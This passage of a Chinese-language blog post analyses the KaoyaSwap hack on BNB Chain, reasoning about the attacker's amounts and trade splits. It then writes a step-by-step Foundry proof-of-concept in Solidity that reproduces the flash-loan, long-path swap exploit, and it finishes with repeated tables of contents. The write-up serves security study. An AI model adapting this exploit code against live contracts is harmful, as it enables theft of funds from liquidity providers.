再强调下，Kaoya能给攻击者转账1020个WBNB，是因为Router管理金库，这些WBNB其实都是其他池子的；如果是Uniswap，哪怕有lastPair的bug，但是Router手里没钱，攻击也不会成功的。

这就是整个攻击最关键的一步。剩下的就是收尾了。

step5解析

移除三个池子的流动性，1027个WBNB重回到攻击者手中。没什么好说的，这些钱本来的作用就是铺路的，连接攻击者和漏洞。

step6解析

在KaoyaSwap，将 83,918 个KY交易为BUSD；在PancakeSwap将 17,740 个KY交易为BUSD；将 23,364 个KY交易为WBNB。

现在攻击者手里还有 step2 交易来的125,022 个 KY 需要善后。Kaoya被攻击，它的代币必然要大跌，不能留在手里。在BSC链，最好的出路就是换WBNB和BUSD。

攻击者讲KY分成了3份，分钱去3个池子交易。为什么分三份，每份的数额是随便分配的吗？这个问题先留个悬念，放在更多的思考去讨论。

step7解析

换闪电贷 1800 个WBNB，获利了结 272 个WBNB, 37,294 个BUSD。这一步也没啥好说，只能说在web3，一个bug真贵。

三. 更多的思考

整个过程分析完了，攻击原理也明了。但是呢，还有很多东西还那么透彻，此时还有几个疑惑：

为什么在攻击前要swap大量的KY Token？
为什么添加流动性，只加了1020个WBNB,却要闪电贷1800个WBNB?
攻击后，为什么将KY分了三笔交易出去，每笔的金额又是怎么选择的？

我们不是攻击者，无法知道他心里所想。但是却可以在众多数据中找到一些蛛丝马迹。

（1）回到step4攻击后的数据

balanceBefore=1026Ether,balanceAfter=6Ether amountOut=balanceBefore-balanceAfter=1020 Ether

此时此刻，Router手里至少2040多个WBNB：

第一个 1020 WBNB，是攻击者add到池子交易后还在池子里，属于攻击者。
第二个 1020 WBNB，是Router要转给攻击者的，属于被攻击者抢走的。

先看看攻击前，Kaoya的资产状态。

此时Kaoya只有 219+28=247 WBNB。

如果要从 247 到 2040，还需要大约 1800 个WBNB，所以闪电贷了 1800。

这个1800留下 1020 加流动性，还有大约 780 需要给Kaoya，怎么给？当然是交易：

于是，就有了 step2：拿出 673 个WBNB 交易来 125,022 个 KY ；拿出 100 个WBNB 交易来 6,666 个 BUSD。step2 之后，Kaoya 就有了 1020 个 WBNB。然后就是攻击者添加流动加了1026 个 WBNB，swap之后，Kaoya把自己的 1020 转给了攻击者，攻击者移除流动性又拿回了1026 个 WBNB，这些大家都很熟了，我就不啰嗦了。

还有个疑问？初始的Kaoya只有247个WBNB, 为什么要利用漏洞转1020个WBNB，为什么不是 250 个，不是 500 个。还是回到Kaoya的初始资产

因为uniswap的池子，都是权重50-50的两张token：

kaoya(KY-WBNB)：219 WBNB, KY 165040 ≈ 219 WBNB。价值≈219*2=438个。
kaoya(BUSD-WBNB)：28 WBNB, BUSD 8586。价值≈28*2=56个。
kaoya(BUSD-KY)：没有WBNB, 12w BUSD，前面0.8W BUSD = 28 WBNB，价值 ≈ 2815 2 = 840。

因此，三个池子的最大价值 = 1334 个WBNB。

注意，这个 1334 这个估算，非常不严格，因为 AMM的交易有滑点，数量越大，滑点越多，有效价格和当前价格差距越大。所以，1334 是有水分的，我猜攻击者也是因此打了折扣，但也要利润最大化，才选择了 1020，这比选择 250，500 都有道理。

为什么是 1020，不是 1010 ，1050，程序多调试几次，应该能拿到最优参数，但太细节了，就不是本文关心的了。

（2）回到step6

攻击者有 12w个KY。在KaoyaSwap，将 83,918 个KY交易为BUSD；在PancakeSwap将 17,740 个KY交易为BUSD；将 23,364 个KY交易为WBNB。

KY要统统换走，在 step6解析解释过了，但是没解释为什么分了三笔，每笔的具体数字是怎么确定的，还没解释。

依然初始资产图：

行1和行2的WBNB被掏空了，只剩下行3，行4，行5三个池子。

还是那个原因：因为 AMM的交易有滑点，数量越大，滑点越多，有效价格和当前价格差距越大。所以1个池子滑点大了，就得拆分资金去另一个池子交易。

125,022 个 KY，按照三个池子的 67.12%，18.69%， 14.19%来分配。

83,914，17,740，23,366 （按照百分比计算的） 83,918 ，17,740，23,362 （原数据）

这结果，不能说一模一样，也算是真假难辨了。

四. POC

准备工作

最佳学习资料：DeFiHackLabs

SunWeb3Sec: 3. 自己动手写POC1 (Price Oracle Manipulation) SunWeb3Sec: 4. 自己动手写POC2 - MEV Bot SunWeb3Sec: 6. 自己动手写POC3 (Reentrancy)

工程里有大量POC代码，非常推荐！！！

回顾攻击步骤

step1：闪电贷 1800 个WBNB.
step2：拿出 673 个WBNB 交易来 125,022 个 KY （KaoyaSwap的官方Token(权杖)）；拿出 100 个WBNB 交易来 6,666 个 BUSD。
step3：为 WBNB TA TB 这 3 个Token(权杖)创建了 3 个池子并添加流动性（TA TB 是攻击者随意创建的）。\ WBNB-TA 添加流动性为 [1026e18, 50e18]；\ TB-TA 添加流动性为 [1e18, 1e18]；\ WBNB-TB 添加流动性为 [1e18, 1e18]。
step4：调用函数swapExactTokensForETHSupportingFeeOnTransferTokens，path=[TA, WBNB,TB,TA,WBNB]，amountIn= 8000e18 ，也就是用 8000 个TA来发起交易。
step5：移除 step3 创建的 3 个池子的流动性。
step6：在KaoyaSwap，将 83,918 个KY交易为BUSD；在PancakeSwap将 17,740 个KY交易为BUSD；将 23,364 个KY交易为WBNB。
step7：换闪电贷 1800 个WBNB，获利了结 272 个WBNB, 37,294 个BUSD。

具体准备工作1：好用的攻击交易trace链接，推荐用phaIcon，POC居家必备好伴侣。

https://explorer.phalcon.xyz/tx/bsc/0xc8db3b620656408a5004844703aa92d895eb3527da057153f0b09f0b58208d74

phaIcon 可以看这个，非常容易入手：第 8 期使用 Phalcon 浏览器分析和调试交易

我总结写POC，就一句话：“将攻击合约的第一个子层级调用写出来即可”。当然还有很多细节，但是小问题。

具体准备工作2：找出攻击基本信息

代码如下：

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @KeyInfo - Total Lost : 37,294 BUSD and 271.2 WBNB.
// Attacker : https://etherscan.io/address/0xd87FC924d4AfC6A0d086F12137CDDFeccf270307
// Attack Contract : https://etherscan.io/address/0xA722ca7Bf032dE8f7A675da75DFeC661bc89aCE9
// Vulnerable Contract : https://etherscan.io/address/0x879EAD67C92ec2bFa70fa9d157F500B7b31b64AB
// Attack Tx : https://bscscan.com/tx/0xc8db3b620656408a5004844703aa92d895eb3527da057153f0b09f0b58208d74

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x97af028838604c59f93b279d3b6f6cbbf74bc680#code

// @Analysis
// Twitter Guy :https://twitter.com/BlockSecTeam/status/1562286943957708800
// https://explorer.phalcon.xyz/tx/bsc/0xc8db3b620656408a5004844703aa92d895eb3527da057153f0b09f0b58208d74

contract ContractTest is Test {

}

具体准备工作3：找出涉及的DEX的Router接口和Token信息。

interface IDPP{
    function flashLoan(uint baseAmouont, uint quoteAmount, address assetTo, bytes calldata data) external;
}
interface KAOYA_ROUTER is Uni_Router_V2{
    function getTokenInPair(address pair,address token) external view returns (uint);
}
contract ContractTest is Test{
    IDPP dpp = IDPP(0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4);

    IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));//因为它有payable的fallback
    IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
    IERC20 KY = IERC20(0xa8a33e365D5a03c94C3258A10Dd5d6dfE686941B);
    SimpleToken TA;
    SimpleToken TB;

    address KAOYA_FACTORY_ADDRESS = 0xbFB0A989e12D49A0a3874770B1C1CdDF0d9162aA;
    KAOYA_ROUTER kaoyaRouter = KAOYA_ROUTER(0x879EAD67C92ec2bFa70fa9d157F500B7b31b64AB);
    Uni_Router_V2 pancakeRouter = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);

    function setUp() public {
        vm.createSelectFork("bsc",20705000-1);

        vm.label(address(WBNB), 'WBNB');
        vm.label(address(BUSD), 'BUSD');
        vm.label(address(KY), 'KY');

    }
}

具体写POC逻辑

step1：闪电贷 1800 个WBNB.

    function testExploit() public {
        vm.deal(address(this),1e18);
        TA = new SimpleToken('TokenA', 'TA');
        TB = new SimpleToken('TokenB'   , 'TB');
        vm.label(address(TA), 'TA');
        vm.label(address(TB), 'TB');
        TA.mint(10000e18);
        TB.mint(100e18);
        dpp.flashLoan(1800e18, 0, address(this), new bytes(1));
        finalInterest();
    }
    function finalInterest() public {
        console.log('finalInterest');
        emit log_named_decimal_uint("mybalance WBNB" , WBNB.balanceOf(address(this)), WBNB.decimals());
        emit log_named_decimal_uint("mybalance BUSD" , BUSD.balanceOf(address(this)), BUSD.decimals());
        emit log_named_decimal_uint("mybalance KY" , KY.balanceOf(address(this)), KY.decimals());
    }

step2：拿出 673 个WBNB 交易来 125,022 个 KY （KaoyaSwap的官方Token(权杖)）；拿出 100 个WBNB 交易来 6,666 个 BUSD。

    function DPPFlashLoanCall(address msgSender, uint baseAmount, uint quoteAmount, bytes calldata data) public {
        //step2
        emit log_named_decimal_uint("mybalance WBNB" , WBNB.balanceOf(address(this)), WBNB.decimals());
        WBNB.approve(address(kaoyaRouter), type(uint256).max);//自己写的代码，每行都有问题，收获太大了。wbnb地址错了，写成了usdc。。。
        address[] memory  path = new address[](2);
        path[0]=address(WBNB);
        path[1]=address(KY);
        kaoyaRouter.swapExactTokensForTokens(672.8e18, 1e18, path, address(this), block.timestamp+1000);

        address[] memory  path2 = new address[](2);
        path2[0] = address(WBNB);
        path2[1] = address(BUSD);
        kaoyaRouter.swapExactTokensForTokens(100e18, 1e18, path2, address(this), block.timestamp+1000);

}

step3：为 WBNB TA TB 这 3 个Token(权杖)创建了 3 个池子并添加流动性（TA TB 是攻击者随意创建的）。

WBNB-TA 添加流动性为 [1026e18, 50e18]；\ TB-TA 添加流动性为 [1e18, 1e18]；\ WBNB-TB 添加流动性为 [1e18, 1e18]。

function DPPFlashLoanCall(address msgSender, uint baseAmount, uint quoteAmount, bytes calldata data) public {
        //step2
        ...
        //step3
        TA.approve(address(kaoyaRouter), type(uint256).max);
        TB.approve(address(kaoyaRouter), type(uint256).max);
        (, , uint256 liquidity1) = kaoyaRouter.addLiquidity(address(WBNB), address(TA), 1026.19e18, 50e18, 380, 40, address(this), block.timestamp+1000);
        (, , uint256 liquidity2) = kaoyaRouter.addLiquidity(address(WBNB), address(TB), 1e18, 1e18, 1, 1, address(this), block.timestamp+1000);
        (, , uint256 liquidity3) = kaoyaRouter.addLiquidity(address(TA), address(TB), 1e18, 1e18, 1, 1, address(this), block.timestamp+1000);
}

step4：调用函数`swapExactTokensForETHSupportingFeeOnTransferTokens`，path=[TA, WBNB,TB,TA,WBNB]，amountIn= 8000e18 ，也就是用 8000 个TA来发起交易。

function DPPFlashLoanCall(address msgSender, uint baseAmount, uint quoteAmount, bytes calldata data) public {
        //step2
        ...
        //step3
        ...
        //step4
        address[] memory path3 = new address[](5);
        path3[0] = address(TA);
        path3[1] = address(WBNB);
        path3[2] = address(TB);
        path3[3] = address(TA);
        path3[4] = address(WBNB);
        kaoyaRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(8000e18, 1, path3, address(this), block.timestamp+1000);

}

step5：移除 step3 创建的 3 个池子的流动性。

function DPPFlashLoanCall(address msgSender, uint baseAmount, uint quoteAmount, bytes calldata data) public {
        //step2
        ...
        //step3
        ...
        //step4
        ...
           //step5
        removeLiquidity(address(WBNB), address(TA), liquidity1, true);
        removeLiquidity(address(WBNB), address(TB), liquidity2, true);
        removeLiquidity(address(TB), address(TA), liquidity3, false);
}
    function removeLiquidity(address token0, address token1, uint liquidity, bool containETH) public {
        (address token0, address token1) = sortTokens(token0, token1);
        Uni_Pair_V2 pair = Uni_Pair_V2(pairFor(KAOYA_FACTORY_ADDRESS, token0, token1));
        pair.approve(address(kaoyaRouter), type(uint256).max);
        console.log('liquidity', liquidity);
        //报错，transferFrom，from本合约，对了，需要LP的。之前的pair接口没有approve不对。
        if(containETH){
            kaoyaRouter.removeLiquidityETHSupportingFeeOnTransferTokens(token0, liquidity, 1, 1, address(this), block.timestamp+1000);
        }else{
            kaoyaRouter.removeLiquidity(token0, token1, liquidity, 1, 1, address(this), block.timestamp+1000);
        }
    }
        // returns sorted token addresses, used to handle return values from pairs sorted in this order
    function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
        require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
        (token0, token1) = tokenA &lt; tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
    }

    // calculates the CREATE2 address for a pair without making any external calls
    function pairFor(address factory, address tokenA, address tokenB) internal view returns (address pair) {
        (address token0, address token1) = sortTokens(tokenA, tokenB);
//         Explicit type conversion not allowed from "uint256" to "address".
        pair = address(uint160(uint(keccak256(abi.encodePacked(
            hex'ff',
            KAOYA_FACTORY_ADDRESS,
            keccak256(abi.encodePacked(token0, token1)),
            hex'e6d6d0a3b71886f20325ef74a341f4805b42c4e8e6666b6d5d55ae47741e3e78' // init code hash
        )))));
    }

step6：在KaoyaSwap，将 83,918 个KY交易为BUSD；在PancakeSwap将 17,740 个KY交易为BUSD；将 23,364 个KY交易为WBNB。

function DPPFlashLoanCall(address msgSender, uint baseAmount, uint quoteAmount, bytes calldata data) public {
        //step2
        ...
        //step3
        ...
        //step4
        ...
        //step5
        ...

        //step 6 KY 换BUSD
        WBNB.deposit{value:address(this).balance}();
        KY.approve(address(kaoyaRouter), type(uint256).max);
        KY.approve(address(pancakeRouter), type(uint256).max);
        address[] memory  path4 = new address[](2);
        path4[0]=address(KY);
        path4[1]=address(BUSD);
        kaoyaRouter.swapExactTokensForTokens(83_918e18, 1e18, path4, address(this), block.timestamp+1000);
        pancakeRouter.swapExactTokensForTokens(17_740e18, 1e18, path4, address(this), block.timestamp+1000);
}

step7：换闪电贷 1800 个WBNB，获利了结 272 个WBNB, 37,294 个BUSD。

        //step 7
        WBNB.transfer(address(dpp), 1800e18);

五. 最后

这是Blocksec的大佬吴磊老师留的作业，看似简单，做起来却费了很多心思，此时此刻心里想起了那句话：路漫漫其修远兮，吾将上下而求索。

原创
学分: 213
分类: 安全
标签: 区块链安全安全事件分析

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图解KaoyaSwap安全攻击过程和写POC全过程

一. KaoyaSwap的背景知识

uniswapV2的特点

Kaoya和uniswap的不同之处

长path交易

Kaoya出现bug的地方：

二. 攻击流程

概述攻击步骤

详解攻击流程

攻击前的状态

step2解析

step3解析

step4解析

bug代码

攻击哪个池子

path的精妙设计

step5解析

step6解析

step7解析

三. 更多的思考

四. POC

准备工作

最佳学习资料：DeFiHackLabs

回顾攻击步骤

具体准备工作1：好用的攻击交易trace链接，推荐用phaIcon，POC居家必备好伴侣。

具体准备工作2：找出攻击基本信息

具体准备工作3：找出涉及的DEX的Router接口和Token信息。

具体写POC逻辑

step1：闪电贷 1800 个WBNB.

step2：拿出 673 个WBNB 交易来 125,022 个 KY （KaoyaSwap的官方Token(权杖)）；拿出 100 个WBNB 交易来 6,666 个 BUSD。

step3：为 WBNB TA TB 这 3 个Token(权杖)创建了 3 个池子并添加流动性（TA TB 是攻击者随意创建的）。

step4：调用函数`swapExactTokensForETHSupportingFeeOnTransferTokens`，path=[TA, WBNB,TB,TA,WBNB]，amountIn= 8000e18 ，也就是用 8000 个TA来发起交易。

step5：移除 step3 创建的 3 个池子的流动性。

step6：在KaoyaSwap，将 83,918 个KY交易为BUSD；在PancakeSwap将 17,740 个KY交易为BUSD；将 23,364 个KY交易为WBNB。

step7：换闪电贷 1800 个WBNB，获利了结 272 个WBNB, 37,294 个BUSD。

五. 最后

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文章目录

图解KaoyaSwap安全攻击过程和写POC全过程

一. KaoyaSwap的背景知识

uniswapV2的特点

Kaoya和uniswap的不同之处

长path交易

Kaoya出现bug的地方：

二. 攻击流程

概述攻击步骤

详解攻击流程

攻击前的状态

step2解析

step3解析

step4解析

bug代码

攻击哪个池子

path的精妙设计

step5解析

step6解析

step7解析

三. 更多的思考

四. POC

准备工作

最佳学习资料：DeFiHackLabs

回顾攻击步骤

具体准备工作1：好用的攻击交易trace链接，推荐用phaIcon，POC居家必备好伴侣。

具体准备工作2： 找出攻击基本信息

具体准备工作3： 找出涉及的DEX的Router接口和Token信息。

具体写POC逻辑

step1：闪电贷 1800 个WBNB.

step2：拿出 673 个WBNB 交易来 125,022 个 KY （KaoyaSwap的官方Token(权杖)）；拿出 100 个WBNB 交易来 6,666 个 BUSD。

step3：为 WBNB TA TB 这 3 个Token(权杖)创建了 3 个池子并添加流动性（TA TB 是攻击者随意创建的）。

step4：调用函数swapExactTokensForETHSupportingFeeOnTransferTokens，path=[TA, WBNB,TB,TA,WBNB]，amountIn= 8000e18 ，也就是用 8000 个TA来发起交易。

step5：移除 step3 创建的 3 个池子的流动性。

step6：在KaoyaSwap，将 83,918 个KY交易为BUSD；在PancakeSwap将 17,740 个KY交易为BUSD；将 23,364 个KY交易为WBNB。

step7：换闪电贷 1800 个WBNB，获利了结 272 个WBNB, 37,294 个BUSD。

五. 最后

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文章目录

具体准备工作2：找出攻击基本信息

具体准备工作3：找出涉及的DEX的Router接口和Token信息。

step4：调用函数`swapExactTokensForETHSupportingFeeOnTransferTokens`，path=[TA, WBNB,TB,TA,WBNB]，amountIn= 8000e18 ，也就是用 8000 个TA来发起交易。